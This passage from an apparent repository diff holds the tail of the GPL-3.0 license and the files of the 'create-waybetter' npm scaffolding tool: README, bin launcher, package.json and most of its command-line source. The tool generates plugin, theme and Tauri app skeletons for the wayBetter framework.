is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.

View file

@ -0,0 +1,67 @@
# create-waybetter
```sh
npm create waybetter
```
Scaffolds something for [wayBetter](https://waybetter.fyi), the framework behind wayBetter for X:
a **plugin**, a **theme**, or a whole new **wayBetter app** for another site. It asks what it needs
when run in a terminal; every answer is also a flag. No dependencies, Node 18.3+.
## Plugin
```sh
npm create waybetter plugin -- --name "Hide Trends"
npm create waybetter plugin -- --name "Word Badges" --ts # TypeScript project
```
One `*.plugin.js` file with the header the plugin store reads (`@name`, `@description`,
`@version`, `@author`) and a class with `start()` / `stop()`. The example uses the real plugin
API: `api.scope()` for cleanup, `api.storage()`, `scope.observe()`, `scope.onKey()`, the UI kit
(`scope.ui.toast` with an action, a settings `ui.dialog` built with `ui.h`) and the theme API
(`api.theme.current()`, `--wb-*` CSS variables). `--ts` makes a small TypeScript project typed by
the `waybetter` package; `npm run build` writes the loadable `dist/<name>.plugin.js` with the header
first. `--app any` targets another wayBetter app (core API only; wayBetter for X adds
`api.tweet`, `api.account`, `api.users`).
Install: **wayBetter → Plugins → Open folder**, copy the file in, **Rescan**, turn it on.
## Theme
```sh
npm create waybetter theme -- --name "Midnight Mint" --accent "#3ddc97" --font "Geist, system-ui"
```
A theme JSON with `"$schema": "https://unpkg.com/waybetter/theme.schema.json"` (editor completion
and checks), a full palette derived from `--bg`, `--text` and `--accent` the way the runtime derives
missing roles, and the font roles (`font.family` for the interface, `font.tweet` for post text).
Presets: `midnight`, `paper`, `dusk`. Import it in **wayBetter → Appearance → Import**.
## App
```sh
npm create waybetter app -- --site kick.com
npm create waybetter app -- --site youtube.com --name "wayBetter for YouTube"
```
A wayBetter app skeleton, the same system as wayBetter for X: a Tauri 2 window with a trusted
local shell and one native child webview per site tab (`waybetter-host`), the page runtime and
shell models from the `waybetter` package, and the site adapter in its three parts:
- `src-tauri/src/site.rs`: the native `SiteSpec` (hosts, runtime global, account rules);
- `src/site.ts`: the page `SiteAdapter` (plugin API settings, account reader, link rules);
- `src-tauri/capabilities/`: `shell`, `tab-chrome` and `site-tab`, keyed by webview label.
Presets for `youtube.com`, `kick.com` and `twitch.tv` (any host works); every selector and handle
rule is a marked PLACEHOLDER to check against the live site. The host crate comes from a git
submodule at `waybetter/` (default), a local path (`--host-source path --host-path <dir>`) or git
(`--host-source git`).
## Options
`npm create waybetter -- --help` lists every flag. `--yes` takes defaults for anything not given,
`--dry-run` prints the files, `--force` writes into a non-empty directory.
## License
GPL-3.0-or-later. See [LICENSE](./LICENSE).

View file

@ -0,0 +1,10 @@
#!/usr/bin/env node
import { main } from '../src/cli.js';
main(process.argv.slice(2)).then(
code => { process.exitCode = code; },
error => {
console.error(error);
process.exitCode = 1;
},
);

View file

@ -0,0 +1,46 @@
{
"name": "create-waybetter",
"version": "0.1.0",
"license": "GPL-3.0-or-later",
"type": "module",
"description": "npm create waybetter: scaffold a wayBetter plugin (*.plugin.js, JS or TypeScript), theme (JSON with the waybetter theme schema) or a whole wayBetter app (Tauri 2 + waybetter-host + the waybetter runtime). No dependencies.",
"keywords": [
"waybetter",
"create",
"scaffold",
"plugin",
"theme",
"tauri"
],
"homepage": "https://waybetter.fyi",
"repository": {
"type": "git",
"url": "git+https://git.crt.fyi/CRT/waybetter.git",
"directory": "packages/create-waybetter"
},
"bugs": {
"url": "https://git.crt.fyi/CRT/waybetter/issues"
},
"bin": {
"create-waybetter": "bin/create-waybetter.js"
},
"exports": {
".": "./src/cli.js",
"./package.json": "./package.json"
},
"files": [
"bin",
"src",
"README.md",
"LICENSE"
],
"engines": {
"node": ">=18.3.0"
},
"publishConfig": {
"access": "public"
},
"scripts": {
"test": "cd ../.. && node --test packages/create-waybetter/tests/*.test.mjs"
}
}

File diff suppressed because it is too large Load diff

View file

@ -0,0 +1,253 @@
// `npm create waybetter`: scaffolds a wayBetter plugin, theme or app. Interactive when run in a
// terminal without the answers; fully flag-driven otherwise (`--yes` takes the defaults).
import { existsSync, mkdirSync, readdirSync, readFileSync, writeFileSync } from 'node:fs';
import { dirname, join, relative, resolve } from 'node:path';
import { createInterface } from 'node:readline/promises';
import { parseArgs } from 'node:util';
import { SITE_PRESETS, appFiles, normalizeAppOptions } from './app.js';
import { UsageError, slugify } from './names.js';
import { PLUGIN_APPS, normalizePluginOptions, pluginFiles } from './plugin.js';
import { THEME_MODES, THEME_PRESETS, normalizeThemeOptions, themeFiles } from './theme.js';
export const KINDS = ['plugin', 'theme', 'app'];
/** @type {import('node:util').ParseArgsConfig['options']} */
const OPTIONS = ({
type: { type: 'string', short: 't' },
name: { type: 'string', short: 'n' },
description: { type: 'string' },
author: { type: 'string' },
'plugin-version': { type: 'string' },
ts: { type: 'boolean' },
typescript: { type: 'boolean' },
app: { type: 'string' },
mode: { type: 'string' },
preset: { type: 'string' },
bg: { type: 'string' },
text: { type: 'string' },
accent: { type: 'string' },
font: { type: 'string' },
'post-font': { type: 'string' },
radius: { type: 'string' },
schema: { type: 'string' },
site: { type: 'string', short: 's' },
global: { type: 'string' },
identifier: { type: 'string' },
'host-source': { type: 'string' },
'host-path': { type: 'string' },
'git-url': { type: 'string' },
yes: { type: 'boolean', short: 'y' },
force: { type: 'boolean' },
'dry-run': { type: 'boolean' },
help: { type: 'boolean', short: 'h' },
version: { type: 'boolean', short: 'v' },
});
export const HELP = `Usage: npm create waybetter [plugin|theme|app] [dir] -- [options]
npx create-waybetter [plugin|theme|app] [dir] [options]
Scaffolds a wayBetter plugin, theme or whole app. Asks for anything missing when run in a
terminal; --yes takes the defaults instead.
Common
-t, --type <kind> plugin, theme or app
-n, --name <name> display name (plugin/theme name, or the app's product name)
--author <name> plugin/theme author (default "you")
--description <text>
-y, --yes no questions; use defaults for anything not given
--force write into a directory that is not empty
--dry-run print the files instead of writing them
-h, --help this help
-v, --version print the create-waybetter version
Plugin (one *.plugin.js with the header the plugin store reads)
--plugin-version <v> plugin version (default 1.0.0)
--ts a TypeScript project (types from the waybetter package)
--app <x|any> x: wayBetter for X (adds api.tweet/account/users); any: another app
Theme (JSON with "$schema" pointing at the waybetter theme schema)
--preset <name> ${Object.keys(THEME_PRESETS).join(', ')} (seed colors, default midnight)
--mode <mode> ${THEME_MODES.join(', ')}
--bg, --text, --accent <#hex> seed colors; the rest of the palette is derived
--font <stack> interface fonts, e.g. "Geist, system-ui"
--post-font <stack> post text fonts
--radius <0-28> card corner radius (default 16)
--schema <url|local> "$schema" as the unpkg URL (default) or ./node_modules path
App (Tauri 2 + waybetter-host + the waybetter runtime and shell models)
-s, --site <host> ${Object.keys(SITE_PRESETS).join(', ')} or any host name
--global <Name> the page runtime's window global (default from the name)
--identifier <id> Tauri bundle identifier (default com.example.<name>)
--host-source <src> submodule (default: ../waybetter as a git submodule), path or git
--host-path <dir> with --host-source path: the waybetter repository (or its host crate)
--git-url <url> the waybetter repository for submodule/git
Examples
npm create waybetter plugin -- --name "Hide Trends"
npm create waybetter theme my-theme -- --name "Midnight Mint" --accent "#3ddc97" --yes
npm create waybetter app wb-kick -- --site kick.com --yes
`;
/** @typedef {{ stdout: { write(text: string): unknown }, stderr: { write(text: string): unknown }, stdin: NodeJS.ReadableStream & { isTTY?: boolean }, cwd: string }} Io */
function packageVersion() {
try {
return JSON.parse(readFileSync(new URL('../package.json', import.meta.url), 'utf8')).version;
} catch {
return 'unknown';
}
}
/** Minimal line prompts over readline (no dependencies). */
function prompter(io) {
/** @type {import('node:readline/promises').Interface | null} */
let rl = null;
const ask = async (question, fallback = '') => {
rl ??= createInterface({ input: io.stdin, output: /** @type {any} */ (io.stdout) });
const answer = (await rl.question(`${question}${fallback ? ` (${fallback})` : ''}: `)).trim();
return answer || fallback;
};
return {
ask,
async choose(question, choices, fallback) {
for (;;) {
const answer = (await ask(`${question} [${choices.join('/')}]`, fallback)).toLowerCase();
if (choices.includes(answer)) return answer;
io.stdout.write(` Choose one of: ${choices.join(', ')}\n`);
}
},
async confirm(question, fallback) {
const answer = (await ask(`${question} [y/n]`, fallback ? 'y' : 'n')).toLowerCase();
return answer.startsWith('y');
},
close() { rl?.close(); },
};
}
/**
* Runs the CLI. Returns the exit code; never calls process.exit (tests call it in-process).
* @param {string[]} argv arguments after the program name
* @param {Partial<Io>} [ioInput]
*/
export async function main(argv, ioInput = {}) {
/** @type {Io} */
const io = { stdout: process.stdout, stderr: process.stderr, stdin: process.stdin, cwd: process.cwd(), ...ioInput };
let parsed;
try {
parsed = parseArgs({ args: argv, options: OPTIONS, allowPositionals: true, strict: true });
} catch (error) {
io.stderr.write(`${/** @type {Error} */ (error).message}\n\nRun with --help for usage.\n`);
return 1;
}
/** @type {Record<string, any>} */
const values = parsed.values;
const positionals = parsed.positionals;
if (values.help) { io.stdout.write(HELP); return 0; }
if (values.version) { io.stdout.write(`${packageVersion()}\n`); return 0; }
const interactive = !values.yes && Boolean(io.stdin.isTTY);
const ui = prompter(io);
try {
// `npm create waybetter plugin [dir]`: a leading kind is the type.
let type = values.type ?? (KINDS.includes(positionals[0] ?? '') ? positionals.shift() : undefined);
if (!type) {
if (!interactive) throw new UsageError('--type is required (plugin, theme or app) when not asking questions.');
type = await ui.choose('What do you want to make?', KINDS, 'plugin');
}
if (!KINDS.includes(type)) throw new UsageError(`--type must be one of: ${KINDS.join(', ')}.`);
const ask = async (value, question, fallback) => value ?? (interactive ? await ui.ask(question, fallback) : fallback);
/** @type {Array<{ path: string, content: string | Uint8Array }>} */
let files;
let defaultDir;
let next;
const warnings = [];
if (type === 'plugin') {
const name = await ask(values.name, 'Plugin name', 'My Plugin');
const options = normalizePluginOptions({
name,
description: await ask(values.description, 'Description', `${name}, a wayBetter plugin.`),
author: await ask(values.author, 'Author', 'you'),
version: values['plugin-version'],
typescript: values.ts ?? values.typescript ?? (interactive ? await ui.confirm('TypeScript?', false) : false),
app: values.app ?? (interactive ? await ui.choose('Which app is it for? (x = wayBetter for X)', PLUGIN_APPS, 'x') : 'x'),
});
files = pluginFiles(options);
defaultDir = options.id;
next = options.typescript
? ['npm install', 'npm run build', `copy dist/${options.file} into wayBetter → Plugins → Open folder, then Rescan`]
: [`copy ${options.file} into wayBetter → Plugins → Open folder, then Rescan`];
} else if (type === 'theme') {
const name = await ask(values.name, 'Theme name', 'My Theme');
const preset = await ask(values.preset, `Start from (${Object.keys(THEME_PRESETS).join(', ')})`, 'midnight');
const seed = THEME_PRESETS[/** @type {keyof typeof THEME_PRESETS} */ (preset)] ?? THEME_PRESETS.midnight;
const options = normalizeThemeOptions({
name,
preset,
author: await ask(values.author, 'Author', 'you'),
description: values.description,
mode: values.mode,
bg: await ask(values.bg, 'Background color', seed.bg),
text: await ask(values.text, 'Text color', seed.text),
accent: await ask(values.accent, 'Accent color', seed.accent),
font: values.font,
postFont: values['post-font'],
radius: values.radius,
schema: values.schema,
});
warnings.push(...options.warnings);
files = themeFiles(options);
defaultDir = options.id;
next = [`import ${options.id}.theme.json in wayBetter → Appearance → Import`];
} else {
const site = await ask(values.site, `Site (${Object.keys(SITE_PRESETS).join(', ')} or any host)`, 'kick.com');
const label = SITE_PRESETS[/** @type {keyof typeof SITE_PRESETS} */ (site.replace(/^www\./, ''))]?.label;
const options = normalizeAppOptions({
site,
name: await ask(values.name, 'App name', label ? `wayBetter for ${label}` : undefined),
global: values.global,
identifier: values.identifier,
hostSource: values['host-source'],
hostPath: values['host-path'],
gitUrl: values['git-url'],
});
files = appFiles(options);
defaultDir = options.slug;
next = [
...(options.hostSource === 'submodule' ? [`git init && git submodule add ${options.gitUrl} waybetter`] : []),
'npm install', 'npm run build', 'npm run tauri dev',
'then replace the PLACEHOLDER selectors in src/site.ts and src-tauri/src/site.rs',
];
}
const dirArg = positionals[0] ?? (interactive ? await ui.ask('Directory', defaultDir) : defaultDir);
const target = resolve(io.cwd, dirArg || defaultDir || slugify(type));
if (values['dry-run']) {
io.stdout.write(`Would write ${files.length} files to ${target}:\n`);
for (const file of files) io.stdout.write(` ${file.path}\n`);
return 0;
}
if (existsSync(target) && readdirSync(target).length > 0 && !values.force) {
throw new UsageError(`${target} is not empty. Pick another directory or pass --force.`);
}
for (const file of files) {
const path = join(target, file.path);
mkdirSync(dirname(path), { recursive: true });
writeFileSync(path, file.content);
}
